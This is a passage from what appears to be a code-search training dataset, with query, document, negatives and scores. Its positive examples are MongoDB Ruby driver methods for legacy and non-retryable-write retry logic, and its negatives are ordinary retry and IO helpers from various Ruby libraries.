"0.56274515",
"0.56256855",
"0.5620032",
"0.5575409",
"0.5575307",
"0.5573699",
"0.5546447",
"0.55388904",
"0.55343145",
"0.5530615",
"0.55253416",
"0.5524331",
"0.55188966",
"0.5498771",
"0.5493948",
"0.54843557",
"0.5477426",
"0.5453966",
"0.5446833",
"0.54414296",
"0.5437407",
"0.54352313",
"0.54234546",
"0.5392164",
"0.5389127",
"0.53863454",
"0.53705585",
"0.53668314",
"0.5342238",
"0.533312",
"0.53237784",
"0.53034693",
"0.5302603",
"0.5296665",
"0.52940613",
"0.5274115",
"0.52732396",
"0.5272279",
"0.5271859",
"0.52491957",
"0.5241487",
"0.5240747",
"0.5229349",
"0.52293336",
"0.52293336",
"0.5226188",
"0.5224711",
"0.52105284",
"0.5206854",
"0.52027607",
"0.52019835",
"0.51986516",
"0.5198413",
"0.5192783",
"0.51871",
"0.5179197",
"0.5179197",
"0.5179197",
"0.5179197",
"0.5179197",
"0.5179197",
"0.5179197",
"0.5179197",
"0.51766884",
"0.5155383",
"0.5153601",
"0.5147483",
"0.5141637",
"0.5140392"
] | 0.7404647 | 0 |
Retryable writes wrapper for operations not supporting modern retryable writes. If the driver is configured to use modern retryable writes, this method yields to the passed block exactly once, thus not retrying any writes. If the driver is configured to use legacy retryable writes, this method delegates to legacy_write_with_retry which performs write retries using legacy logic. | def nro_write_with_retry(session, write_concern, &block)
if session && session.client.options[:retry_writes]
server = select_server(cluster, ServerSelector.primary, session)
yield server
else
legacy_write_with_retry(nil, session, &block)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def legacy_write_with_retry(server = nil, session = nil)\n # This is the pre-session retry logic, and is not subject to\n # current retryable write specifications.\n # In particular it does not retry on SocketError and SocketTimeoutError.\n attempt = 0\n begin\n attempt += 1\n server ||= select_server(cluster, ServerSelector.primary, session)\n yield server\n rescue Error::OperationFailure => e\n server = nil\n if attempt > client.max_write_retries\n raise\n end\n if e.write_retryable? && !(session && session.in_transaction?)\n log_retry(e, message: 'Legacy write retry')\n cluster.scan!(false)\n retry\n else\n raise\n end\n end\n end",
"def retry\n raise \"#{@error_msg_prefix} must be passed a block\" unless block_given?\n\n attempts = 0\n start_time = Time.now\n begin\n attempts += 1\n yield attempts\n rescue InfluxError => e\n if attempts > @max_retries\n @api_client.log(:error, 'Maximum retry attempts reached.')\n raise e\n end\n\n if (Time.now - start_time) * 1000 > @max_retry_time\n @api_client.log(:error, \"Maximum retry time #{@max_retry_time} ms exceeded\")\n raise e\n end\n\n raise e if (e.code.nil? || e.code.to_i < 429) && !_connection_error(e.original)\n\n timeout = if e.retry_after.nil? || e.retry_after.empty?\n get_backoff_time(attempts)\n else\n (e.retry_after.to_f * 1000) + @jitter_interval * rand\n end\n\n message = 'The retriable error occurred during writing of data. '\\\n \"Reason: '#{e.message}'. Retry in: #{timeout.to_f / 1000}s.\"\n\n @api_client.log(:warn, message)\n sleep timeout / 1000\n retry\n end\n end",
"def retry_writes?\n !!client.options[:retry_writes] && (cluster.replica_set? || cluster.sharded? || cluster.load_balanced?)\n end",
"def retryable(&block)\n RetryableRecord.retry(self, &block)\n end",
"def read_with_one_retry(options = nil)\n yield\n rescue *retryable_exceptions, Error::PoolError => e\n raise e unless e.write_retryable?\n\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue Java::JavaSql::SQLException => e\n raise unless /^(Closed Connection|Io exception:|No more data to read from socket|IO Error:)/.match?(e.message)\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def deprecated_legacy_read_with_retry(&block)\n deprecation_warning :read_with_retry,\n 'Legacy read_with_retry invocation - ' \\\n 'please update the application and/or its dependencies'\n\n # Since we don't have a session, we cannot use the modern read retries.\n # And we need to select a server but we don't have a server selector.\n # Use PrimaryPreferred which will work as long as there is a data\n # bearing node in the cluster; the block may select a different server\n # which is fine.\n server_selector = ServerSelector.get(mode: :primary_preferred)\n legacy_read_with_retry(nil, server_selector, &block)\n end",
"def retryable(options = {}, &block)\n options = {:max_retries => 4, :on_retry => nil, :retry_delay => 1.0}.merge!(options)\n retry_count = options[:max_retries]\n\n begin\n yield\n\n rescue Beaneater::NotConnected\n if retry_count > 0\n reconnect!\n retry_count -= 1\n sleep options[:retry_delay]\n options[:on_retry].call if options[:on_retry].respond_to?(:call)\n retry\n else # stop retrying\n raise e\n end\n end\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue NativeException => e\n raise unless e.message =~ /^java\\.sql\\.SQLException: (Closed Connection|Io exception:|No more data to read from socket)/\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def max_write_retries\n options[:max_write_retries] || Cluster::MAX_WRITE_RETRIES\n end",
"def legacy_read_with_retry(session, server_selector, &block)\n attempt = attempt ? attempt + 1 : 1\n yield select_server(cluster, server_selector, session)\n rescue *retryable_exceptions, Error::OperationFailure, Error::PoolError => e\n e.add_notes('legacy retry', \"attempt #{attempt}\")\n \n if is_retryable_exception?(e)\n raise e if attempt > client.max_read_retries || session&.in_transaction?\n elsif e.retryable? && !session&.in_transaction?\n raise e if attempt > client.max_read_retries\n else\n raise e\n end\n \n log_retry(e, message: 'Legacy read retry')\n sleep(client.read_retry_interval) unless is_retryable_exception?(e)\n retry\n end",
"def write_nonblock\n end",
"def with_retries(&block)\n base_sleep_seconds = 0.5\n max_sleep_seconds = 300 # 5 minutes\n\n # Let's do this thing\n attempts = 0\n\n begin\n attempts += 1\n return block.call(attempts)\n\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EHOSTUNREACH,\n Errno::ENETDOWN, Errno::ENETUNREACH, Errno::ETIMEDOUT, Timeout::Error => ex\n\n raise ex if attempts >= 100\n\n # The sleep time is an exponentially-increasing function of base_sleep_seconds.\n # But, it never exceeds max_sleep_seconds.\n sleep_seconds = [base_sleep_seconds * (2 ** (attempts - 1)), max_sleep_seconds].min\n # Randomize to a random value in the range sleep_seconds/2 .. sleep_seconds\n sleep_seconds = sleep_seconds * (0.5 * (1 + rand()))\n # But never sleep less than base_sleep_seconds\n sleep_seconds = [base_sleep_seconds, sleep_seconds].max\n\n warn \"Failed to connect: #{ex}. Retrying in #{sleep_seconds.round(1)} seconds.\"\n\n snooze(sleep_seconds)\n\n retry\n end\n end",
"def synchronize_write\n lock_write\n begin\n yield\n ensure\n unlock_write\n end\n end",
"def while_preventing_writes(enabled = true, &block)\n connected_to(role: current_role, prevent_writes: enabled, &block)\n end",
"def retry_block(options = {}, &block)\n options = {\n :retry => 1,\n :data => {},\n :type => StandardError\n }.merge(options)\n \n retries = case options[:retry]\n when true\n 1\n when Integer\n options[:retry]\n else\n 0\n end\n \n types = [ options[:type] ].flatten.compact\n \n begin\n yield\n rescue *types => ex\n if retries > 0\n return self.send(__method__, options.merge(:retry => retries - 1), &block)\n else\n notify_exception(ex, :data => options[:data], :raise => true)\n end\n end\n end",
"def modern_read_with_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n yield server\n rescue *retryable_exceptions, Error::OperationFailure, Auth::Unauthorized, Error::PoolError => e\n e.add_notes('modern retry', 'attempt 1')\n raise e if session.in_transaction?\n raise e if !is_retryable_exception?(e) && !e.write_retryable?\n retry_read(e, session, server_selector, failed_server: server, &block)\n end",
"def retryable(retries, delay)\r\n yield\r\n rescue *RETRYABLE_EXCEPTIONS.call\r\n raise unless (retries -= 1) > 0\r\n\r\n sleep(delay)\r\n retry\r\n end",
"def with_retry(*exceptions, attempts: RETRY_ATTEMPTS, base: RETRY_BASE, cap: RETRY_CAP, &block)\n attempt = 0\n\n begin\n return (yield)\n rescue *exceptions => error\n raise unless attempt < attempts\n\n warn \"Retry #{block} on error: #{error}\"\n\n retry_sleep [cap, base * 2 ** attempt].min\n\n attempt += 1\n\n retry\n end\n end",
"def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end",
"def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end",
"def raise_unsupported_error(e)\n new_error = Error::OperationFailure.new(\"#{e.class}: #{e} \"\\\n \"This MongoDB deployment does not support retryable writes. Please add \"\\\n \"retryWrites=false to your connection string or use the retry_writes: false Ruby client option\")\n new_error.set_backtrace(e.backtrace)\n raise new_error\n end",
"def retryable( options = {}, &block )\n opts = { :tries => 1, :on => Exception }.merge(options)\n\n return nil if opts[:tries] == 0\n \n retry_exception, tries = [ opts[:on] ].flatten, opts[:tries]\n \n begin\n return yield\n rescue *retry_exception\n retry if (tries -= 1) > 0\n end\n \n yield\nend",
"def with_retry(retries: 3)\n retries = 0 if retries.nil? || retries.negative?\n\n 0.upto(retries) do |n|\n attempt(n, retries) do\n return yield self\n end\n end\n end",
"def when_writing(msg=nil)\n if FileUtilsExt.nowrite_flag\n $stderr.puts \"DRYRUN: #{msg}\" if msg\n else\n yield\n end\n end",
"def with_retry(cluster, retries = cluster.max_retries, &block)\n begin\n block.call\n rescue Errors::ConnectionFailure => e\n if retries > 0\n Loggable.warn(\" BONES-RPC:\", \"Retrying connection attempt #{retries} more time(s).\", \"n/a\")\n sleep(cluster.retry_interval)\n cluster.refresh\n with_retry(cluster, retries - 1, &block)\n else\n raise e\n end\n end\n end",
"def write(&block)\n @write_block = block\n end",
"def retryable(opts = nil)\n opts = { tries: 1, on: Exception }.merge(opts || {})\n\n begin\n return yield\n rescue *opts[:on] => e\n if (opts[:tries] -= 1) > 0\n $stderr.puts(\"Retryable exception raised: #{e.inspect}\")\n\n sleep opts[:sleep].to_f if opts[:sleep]\n retry\n end\n raise\n end\nend",
"def wrapped_retry(failed_to_what, opts, &block)\n result = nil\n\n begin\n Retryable.retryable(tries: RETRY_RETRIES, sleep: RETRY_BACKOFF) do\n result = yield\n end\n rescue Exception => e\n log :error, \"failed to #{failed_to_what}\", exception: e\n return false\n end\n\n opts[:return] == :is_error_free ? true : result\nend",
"def ssl_socket_write(ssl_socket, data)\n log.chunder('ssl_socket_write')\n\n begin\n return ssl_socket.write_nonblock(data)\n rescue IO::WaitReadable\n log.chunder('WaitReadable') # XXX\n IO.select([ssl_socket.io])\n log.chunder('WaitReadable retry') # XXX\n retry\n rescue IO::WaitWritable\n log.chunder('WaitWritable') # XXX\n IO.select(nil, [ssl_socket.io])\n log.chunder('WaitWritable retry') # XXX\n retry\n end\n ensure\n log.chunder('done ssl_socket_write')\n end",
"def retry_read(original_error, session, server_selector, failed_server: nil, &block)\n begin\n server = select_server(cluster, server_selector, session, failed_server)\n rescue Error, Error::AuthError => e\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n \n log_retry(original_error, message: 'Read retry')\n \n begin\n yield server, true\n rescue *retryable_exceptions => e\n e.add_notes('modern retry', 'attempt 2')\n raise e\n rescue Error::OperationFailure, Error::PoolError => e\n e.add_note('modern retry')\n unless e.write_retryable?\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n e.add_note(\"attempt 2\")\n raise e\n rescue Error, Error::AuthError => e\n e.add_note('modern retry')\n original_error.add_note(\"later retry failed: #{e.class}: #{e}\")\n raise original_error\n end\n end",
"def ts_retry(attempts=1, &block)\n attempt = 0\n \n begin\n yield block\n rescue RSpec::Expectations::ExpectationNotMetError => e\n attempt += 1\n if attempt > attempts\n raise e\n else\n sleep 0.5\n retry\n end\n end\n end",
"def with_limited_retry(opts)\n tries = opts.fetch :tries\n exceptions = Array(opts.fetch(:exceptions))\n\n return if tries == 0\n\n begin\n yield\n rescue *exceptions\n Chef::Log.warn('Bad response, try again...')\n if (tries -= 1) > 0\n sleep 1\n retry\n end\n end\n end",
"def block_write_access(address, block_data = [], options = {})\n options = { write: true, # whether to write or read the block\n width: 32 # width default to 32 bits\n }.merge(options)\n block_data.each_index do |i|\n if i == 0 # first do single write access with count > 1\n single_write_access(address, block_data[0], options.merge(count: block_data.count))\n if options[:width] > 32\n reg(:rwd).write(block_data[i = i + 1])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n end\n else\n next if i.odd? && options[:width] > 32\n reg(:rwd).write(block_data[i])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n if options[:width] > 32\n reg(:rwd).write(block_data[i = i + 1])\n if options[:write]\n write_nexus_register(reg(:rwd), options)\n else\n read_nexus_register(reg(:rwd), options)\n end\n end\n end\n end\n end",
"def retry_with_backoff(retries_remaining, &block)\n result, caught_exception = nil\n should_retry = false\n\n begin\n result, should_retry = yield\n return [result, nil] unless should_retry\n rescue StandardError => e\n p e\n should_retry = true\n caught_exception = e\n end\n\n if should_retry && (retries_remaining > 1)\n sleep(@backoff_policy.next_interval.to_f / 1000)\n retry_with_backoff(retries_remaining - 1, &block)\n else\n [result, caught_exception]\n end\n end",
"def save_document(document, validate = true, retries = 0, &block)\n cache&.clear\n begin\n block.call document if block\n save_document_without_conflict_handling(document, validate)\n rescue CouchRest::Conflict\n if block\n handle_write_conflict document, validate, retries, &block\n else\n raise CouchPotato::Conflict.new\n end\n end\n end",
"def save_with_retry\n tries ||= 3\n save\n\n rescue Errno::ECONNRESET, Net::ReadTimeout, Net::OpenTimeout => e\n raise e if tries == 0\n tries -= 1\n sleep(3)\n retry\n end",
"def with_lock_retries(*args, **kwargs, &block)\n if transaction_open?\n if enable_lock_retries?\n Gitlab::AppLogger.warn 'Lock retries already enabled, executing the block directly'\n yield\n else\n raise <<~EOF\n #{__callee__} can not be run inside an already open transaction\n\n Use migration-level lock retries instead, see https://docs.gitlab.com/ee/development/migration_style_guide.html#retry-mechanism-when-acquiring-database-locks\n EOF\n end\n else\n super(*args, **kwargs.merge(allow_savepoints: false), &block)\n end\n end",
"def write(key, data)\n responsible_clients(key).each do |v|\n with_retries { v.logical.write(wrap_key(key), data) }\n end\n end",
"def retries(worker = nil, &block)\n filter_set(Sidekiq::RetrySet.new, worker, &block)\n end",
"def write_nonblock(string)\n nonblock_writable do\n syswrite(string)\n end\n end",
"def retry_until_ok(&block)\n # Lock usage:\n # 1. @stop.mutex\n\n begin\n yield block\n rescue OplogException, StaleCursorException\n raise\n rescue => e\n @logger.error \"#{@name}: #{get_full_exception_msg(e)}\"\n sleep @err_retry_interval\n\n do_stop = @stop.use { |stop, mutex| stop }\n if do_stop then\n raise RetryFailedException.new(e)\n else\n retry\n end\n end\n end",
"def read_with_retry(session = nil, server_selector = nil, &block)\n if session.nil? && server_selector.nil?\n # Older versions of Mongoid call read_with_retry without arguments.\n # This is already not correct in a MongoDB 3.6+ environment with\n # sessions. For compatibility we emulate the legacy driver behavior\n # here but upgrading Mongoid is strongly recommended.\n unless $_mongo_read_with_retry_warned\n $_mongo_read_with_retry_warned = true\n Logger.logger.warn(\"Legacy read_with_retry invocation - please update the application and/or its dependencies\")\n end\n # Since we don't have a session, we cannot use the modern read retries.\n # And we need to select a server but we don't have a server selector.\n # Use PrimaryPreferred which will work as long as there is a data\n # bearing node in the cluster; the block may select a different server\n # which is fine.\n server_selector = ServerSelector.get(mode: :primary_preferred)\n legacy_read_with_retry(nil, server_selector, &block)\n elsif session && session.retry_reads?\n modern_read_with_retry(session, server_selector, &block)\n elsif client.max_read_retries > 0\n legacy_read_with_retry(session, server_selector, &block)\n else\n server = select_server(cluster, server_selector, session)\n yield server\n end\n end",
"def try(&block)\n\n tries = REST_MAX_TRIES\n\n begin\n yield\n rescue\n tries -= 1\n tries > 0 ? retry : raise\n end\n end",
"def retry_append_to_stream(stream_name, events, expected_revision = nil, max_retries: 0)\n retrying_on_network_failures(max_retries) do\n append_to_stream(stream_name, events, expected_revision)\n end\n end",
"def get_write_concern(opts, parent=nil)\n write_concern_from_legacy(opts) if opts.key?(:safe) || @legacy_write_concern\n write_concern = {\n :w => 1,\n :j => false,\n :fsync => false,\n :wtimeout => nil\n }\n write_concern.merge!(parent.write_concern) if parent\n write_concern.merge!(opts.reject {|k,v| !write_concern.keys.include?(k)})\n write_concern\n end",
"def with_raw_connection(allow_retry: false, materialize_transactions: true)\n @lock.synchronize do\n connect! if @raw_connection.nil? && reconnect_can_restore_state?\n\n self.materialize_transactions if materialize_transactions\n\n retries_available = allow_retry ? connection_retries : 0\n deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline\n reconnectable = reconnect_can_restore_state?\n\n if @verified\n # Cool, we're confident the connection's ready to use. (Note this might have\n # become true during the above #materialize_transactions.)\n elsif reconnectable\n if allow_retry\n # Not sure about the connection yet, but if anything goes wrong we can\n # just reconnect and re-run our query\n else\n # We can reconnect if needed, but we don't trust the upcoming query to be\n # safely re-runnable: let's verify the connection to be sure\n verify!\n end\n else\n # We don't know whether the connection is okay, but it also doesn't matter:\n # we wouldn't be able to reconnect anyway. We're just going to run our query\n # and hope for the best.\n end\n\n begin\n result = yield @raw_connection\n @verified = true\n result\n rescue => original_exception\n translated_exception = translate_exception_class(original_exception, nil, nil)\n invalidate_transaction(translated_exception)\n retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n if !retry_deadline_exceeded && retries_available > 0\n retries_available -= 1\n\n if retryable_query_error?(translated_exception)\n backoff(connection_retries - retries_available)\n retry\n elsif reconnectable && retryable_connection_error?(translated_exception)\n reconnect!(restore_transactions: true)\n # Only allowed to reconnect once, because reconnect! has its own retry\n # loop\n reconnectable = false\n retry\n end\n end\n\n unless retryable_query_error?(translated_exception)\n # Barring a known-retryable error inside the query (regardless of\n # whether we were in a _position_ to retry it), we should infer that\n # there's likely a real problem with the connection.\n @verified = false\n end\n\n raise translated_exception\n ensure\n dirty_current_transaction if materialize_transactions\n end\n end\n end",
"def preventing_writes?\n return true if replica?\n return false if connection_class.nil?\n\n connection_class.current_preventing_writes\n end",
"def flush writes\n total = 0\n while bytes = writes.shift\n next unless bytes.bytesize > 0\n\n num_bytes = begin\n @io.write_nonblock(bytes)\n rescue IO::WaitWritable, Errno::EAGAIN\n 0\n end\n\n if num_bytes > 0\n @io.flush\n total += num_bytes\n end\n\n # If the write could not be completed in one go, or if there are\n # more writes pending ...\n if num_bytes == 0\n writes.unshift bytes\n @selector.enable_write @io\n break\n elsif num_bytes < bytes.bytesize\n writes.unshift bytes.byteslice(num_bytes..bytes.bytesize)\n @selector.enable_write @io\n break\n end\n end\n rescue IOError, Errno::EPIPE, Errno::ECONNRESET => e\n @selector.remove [@io]\n @listener.trigger_error e\n rescue => e\n log(Logger::ERROR, self.to_s + '#flush', e.to_s)\n @selector.enable_write @io\n ensure\n @listener.trigger_write total\n return writes\n end",
"def retry_timeout\n if !block_given?\n return @j_del.java_method(:retryTimeout, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling retry_timeout()\"\n end",
"def retry_on_transient_error\n (options.retry_count.to_i + 1).times do |n|\n logger.debug \"Attempt ##{n}\"\n begin\n result = yield\n rescue Fog::Compute::AWS::Error => e\n sleep_seconds = options.retry_interval * (n+1)\n logger.warn \"Received AWS error: #{e}\"\n logger.warn \"Sleeping #{sleep_seconds} seconds before retrying\"\n sleep sleep_seconds\n else\n return result\n end\n end\n nil\n end",
"def retry!\n raise 'Not implemented!'\n end",
"def read_with_one_retry(options = nil)\n yield\n rescue Error::SocketError, Error::SocketTimeoutError => e\n retry_message = options && options[:retry_message]\n log_retry(e, message: retry_message)\n yield\n end",
"def flush\n check_return_code(\n Lib.memcached_flush(@struct, IGNORED)\n )\n rescue => e\n tries ||= 0\n raise unless tries < options[:exception_retry_limit] && should_retry(e)\n tries += 1\n retry\n end",
"def write(string)\n written = 0\n length = string.bytesize\n while written < length\n begin\n written += write_nonblock(string.byteslice(written, length - written))\n rescue IO::WaitWritable, Errno::EINTR\n block_until_writable\n retry\n end\n end\n written\n end",
"def write_locked?\n @counter.value >= RUNNING_WRITER\n end",
"def timed_write(buf, wait = def_write_timeout, opts = {})\n if (wait and wait > 0)\n Timeout.timeout(wait) {\n return write(buf, opts)\n }\n else\n return write(buf, opts)\n end\n end",
"def attempt(block)\n # Returning self will allow chaining calls\n return self unless block\n return block.call unless AttemptThis.enabled?\n\n apply_defaults\n\n # Retriable attempts require special error handling\n result = each_retriable_attempt do\n return attempt_with_reset(&block)\n end\n\n # Final attempt\n if (result != :empty)\n @delay_policy.call unless result == :skipped\n final_attempt(&block)\n end\n end",
"def retry_transaction(&block)\n tries = 3\n begin\n yield\n rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotUnique\n tries -= 1\n if tries > 0\n retry\n else\n raise\n end\n end\n end",
"def read_without_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n\n begin\n yield server\n rescue *retryable_exceptions, Error::PoolError, Error::OperationFailure => e\n e.add_note('retries disabled')\n raise e\n end\n end",
"def lock_write\n write_sync_mutex.lock\n\n begin\n @writer = true\n\n exclusive_mutex.lock\n\n @owner = Thread.current\n ensure\n write_sync_mutex.unlock\n end\n end",
"def retry!\n raise RetryMessage\n end",
"def keeping_connection_proxy(shard, &_block)\n last_block = block\n\n begin\n self.block = shard\n yield\n ensure\n self.block = last_block || nil\n end\n end",
"def unsupported_retryable_write?\n # code 20 is IllegalOperation.\n # Note that the document is expected to be a BSON::Document, thus\n # either having string keys or providing indifferent access.\n code == 20 && server_message&.start_with?(\"Transaction numbers\") || false\n end",
"def rewrite(&block)\n self\n end",
"def branched_upgrade_move_writes\n raise \"Shard #{self} in wrong state to perform this action! expected :child, found #{@state}\" unless @state == :child\n @master.disable_read_only!\n @state = :needs_cleanup\n sync_configuration\n end",
"def notify_writable\n logdebug \"notify_writable\", :state => @state\n notify_writable = false # disable it now. if we still need it, we'll renabled it.\n case @state\n when :initialized\n attempt_connection\n when :read_needs_to_write\n attempt_read\n when :write_needs_to_write\n attempt_write\n end\n\n # if we waiting to close and are not longer waiting to write, we can flush and close the connection.\n if @close_after_writing and not notify_writable?\n @sslsock.flush\n close_connection\n end\n end",
"def read_with_retry(session = nil, server_selector = nil, &block)\n if session.nil? && server_selector.nil?\n deprecated_legacy_read_with_retry(&block)\n elsif session&.retry_reads?\n modern_read_with_retry(session, server_selector, &block)\n elsif client.max_read_retries > 0\n legacy_read_with_retry(session, server_selector, &block)\n else\n read_without_retry(session, server_selector, &block)\n end\n end",
"def retryable?\n raise 'Not implemented!'\n end",
"def expect_with_retry attempts: 5\n attempt_number ||= 0\n yield\n rescue RSpec::Expectations::ExpectationNotMetError\n attempt_number += 1\n retry if attempt_number < attempts\n raise\n end",
"def consume_writable(&callback)\n synchronize do\n bool = callback.call\n if @nonblock_writable != bool\n @nonblock_writable = bool\n writable_resource.signal\n end\n end\n end",
"def save_with_block(logged, &block)\n if logged\n result = save_without_session_maintenance\n yield(result) if block_given?\n result\n else\n save(true, &block)\n end\n end",
"def close_write\n\t\treturn shutdown(1)\n\tend",
"def on_writable\n @being_written = nil\n return unless res = responses.first\n if res.finished?\n responses.shift\n if res.last \n FFI::connection_schedule_close(self) \n return\n end\n end \n write\n end",
"def no_write!\n @write = false\n end",
"def close_write(*) end",
"def do_write # :nodoc:\n yield\n\t \n\t if defined?(MAX_FILE_SIZE) && (wio.tell > MAX_FILE_SIZE)\n\t\tnew_file\n\t end\n\tend",
"def write_nonblock(string, _options = {})\n write(string)\n end",
"def close_write\n io.close_write\n succeed\n end",
"def pending_write?; end",
"def blocking_write( data )\n raise RuntimeError, \"RAWIP: blocking_write: Not connected!\" unless connected?\n begin\n @ssock.send(data, 0, @addr)\n rescue\n destroy_connection\n raise RuntimeError, \"RAWIP: blocking_write: Couldn't write to socket! (#{$!})\"\n end\n end",
"def save_with_block(logged, &block)\n if logged\n result = save_without_session_maintenance\n yield(result) if block_given?\n result\n else\n save(true, &block)\n end\n end",
"def commit_writes!\n raise 'this kind of worksheet does not require writes to be committed'\n end",
"def write(data)\n timeout = false\n loop do\n result = @socket.write_nonblock(data, :exception => false)\n return result unless result == :wait_writable\n\n raise TimeoutError, \"Write timed out after #{@write_timeout} seconds\" if timeout\n\n timeout = true unless @socket.to_io.wait_writable(@write_timeout)\n end\n end",
"def retry_block_until_true\n (0..RETRY_COUNT).each do\n return if yield\n sleep RETRY_STEP\n end\n Puppet.debug get_cluster_debug_report if is_online?\n fail \"Execution timeout after #{RETRY_COUNT * RETRY_STEP} seconds!\"\n end",
"def retry_reads?\n client.options[:retry_reads] != false\n end",
"def without_reconnect(&block); end",
"def retry_on_uniqueness_violation(&block)\n if raises_uniqueness_violation?(&block)\n yield\n end\n end",
"def notify_writeable limit\n send_proc = proc do |data, finished: false|\n _flush_data data, finished: finished\n end\n @tap.call limit, send_proc\n end",
"def write( &block )\n compile!( :write!, &block )\n end",
"def disable_net_http_persistent_retries(connection)\n connection.retry_change_requests = false\n # Monkey patch this connection instance only.\n def connection.can_retry?(*args)\n false\n end\n nil\n end",
"def notice_signal\n @selfpipe[:writer].write_nonblock( '.' )\n rescue Errno::EAGAIN\n # Ignore writes that would block\n rescue Errno::EINTR\n # Retry if another signal arrived while writing\n retry\n end",
"def _close_write\n @_write_closed = true\n end",
"def index_write\n rugged_repository.index.reload\n yield(rugged_repository.index)\n rugged_repository.index.write\n end",
"def mutate(retries = 0)\n if retries >= 10_000\n $stderr.puts \"Couldn't mutate the sample after 10000 retries. Aborting...\"\n exit! 2\n end\n begin\n mutator = available.sample.new tree\n Individual.new mutator.mutate\n rescue Exception\n mutate retries + 1\n end\n end",
"def retro(tries, *args)\n tries = tries.to_i\n return false if tries == 0 || ! block_given?\n yield(*args)\n return true\n rescue Exception\n sleep(1)\n if (tries = tries - 1) > 0\n retry\n else\n return false\n end\n end",
"def apply_retry_policy(retry_data)\n super(retry_data)\n\n if retry_data[:error].is_a?(OpenSSL::SSL::SSLError) || retry_data[:error].is_a?(OpenSSL::X509::StoreError)\n error_message = retry_data[:error].inspect\n\n if error_message.include?(Bosh::AzureCloud::Helpers::ERROR_OPENSSL_RESET)\n # Retry on \"Connection reset by peer - SSL_connect\" error (OpenSSL::SSL::SSLError, OpenSSL::X509::StoreError)\n # https://github.com/cloudfoundry-incubator/bosh-azure-cpi-release/issues/234\n retry_data[:retryable] = true\n end\n end\n end",
"def apply_retry_policy(retry_data)\n super(retry_data)\n\n if retry_data[:error].is_a?(OpenSSL::SSL::SSLError) || retry_data[:error].is_a?(OpenSSL::X509::StoreError)\n error_message = retry_data[:error].inspect\n\n if error_message.include?(Bosh::AzureCloud::Helpers::ERROR_OPENSSL_RESET)\n # Retry on \"Connection reset by peer - SSL_connect\" error (OpenSSL::SSL::SSLError, OpenSSL::X509::StoreError)\n # https://github.com/cloudfoundry/bosh-azure-cpi-release/issues/234\n retry_data[:retryable] = true\n end\n end\n end",
"def write_timeout= sec\n @lock.write_timeout = sec\n end",
"def redis\n raise ArgumentError, 'requires a block' unless block_given?\n redis_pool.with do |conn|\n retryable = true\n begin\n yield conn\n rescue Redis::BaseError => e\n raise e unless config.silent\n rescue Redis::CommandError => ex\n (conn.disconnect!; retryable = false; retry) if retryable && ex.message =~ /READONLY/\n raise unless config.silent\n end\n end\n end"
] | [
"0.7332594",
"0.62673813",
"0.60600805",
"0.6027896",
"0.5854627",
"0.57909036",
"0.5641635",
"0.56081116",
"0.5550251",
"0.54582137",
"0.5435709",
"0.5403387",
"0.53221714",
"0.5262427",
"0.51594913",
"0.5137914",
"0.5129182",
"0.5110893",
"0.50913984",
"0.5053862",
"0.5049181",
"0.49974704",
"0.49591944",
"0.49555156",
"0.49406612",
"0.49387783",
"0.4914769",
"0.4910611",
"0.4893067",
"0.48469654",
"0.4814332",
"0.48091233",
"0.47853002",
"0.47067422",
"0.46887213",
"0.46843868",
"0.46794078",
"0.4668539",
"0.46545193",
"0.46361208",
"0.46255288",
"0.46252945",
"0.45973256",
"0.45956025",
"0.45913815",
"0.45815736",
"0.45675096",
"0.45525956",
"0.45522988",
"0.4528192",
"0.45145",
"0.4511827",
"0.45057654",
"0.44958538",
"0.4493052",
"0.44759494",
"0.4475481",
"0.44545528",
"0.4452981",
"0.44466814",
"0.44455335",
"0.44291055",
"0.44061634",
"0.43929732",
"0.43836996",
"0.43833914",
"0.43803105",
"0.4379491",
"0.43637186",
"0.43577912",
"0.43521866",
"0.43457186",
"0.4341698",
"0.43352705",
"0.4329495",
"0.4323852",
"0.43231964",
"0.4322654",
"0.43210524",
"0.43092448",
"0.43073487",
"0.43071827",
"0.43058777",
"0.4305036",
"0.43004224",
"0.42958733",
"0.42941236",
"0.42840293",
"0.42815414",
"0.42760167",
"0.42736742",
"0.42697552",
"0.42679176",
"0.42623773",
"0.4262304",
"0.42618576",
"0.42607462",
"0.42550662",
"0.42540443",
"0.4253869"
] | 0.7439151 | 0 |
Implements legacy write retrying functionality by yielding to the passed block one or more times. This method is used for operations which are not supported by modern retryable writes, such as delete_many and update_many. | def legacy_write_with_retry(server = nil, session = nil)
# This is the pre-session retry logic, and is not subject to
# current retryable write specifications.
# In particular it does not retry on SocketError and SocketTimeoutError.
attempt = 0
begin
attempt += 1
server ||= select_server(cluster, ServerSelector.primary, session)
yield server
rescue Error::OperationFailure => e
server = nil
if attempt > client.max_write_retries
raise
end
if e.write_retryable? && !(session && session.in_transaction?)
log_retry(e, message: 'Legacy write retry')
cluster.scan!(false)
retry
else
raise
end
end
end | {
"objective": {
"self": [],
"paired": [],
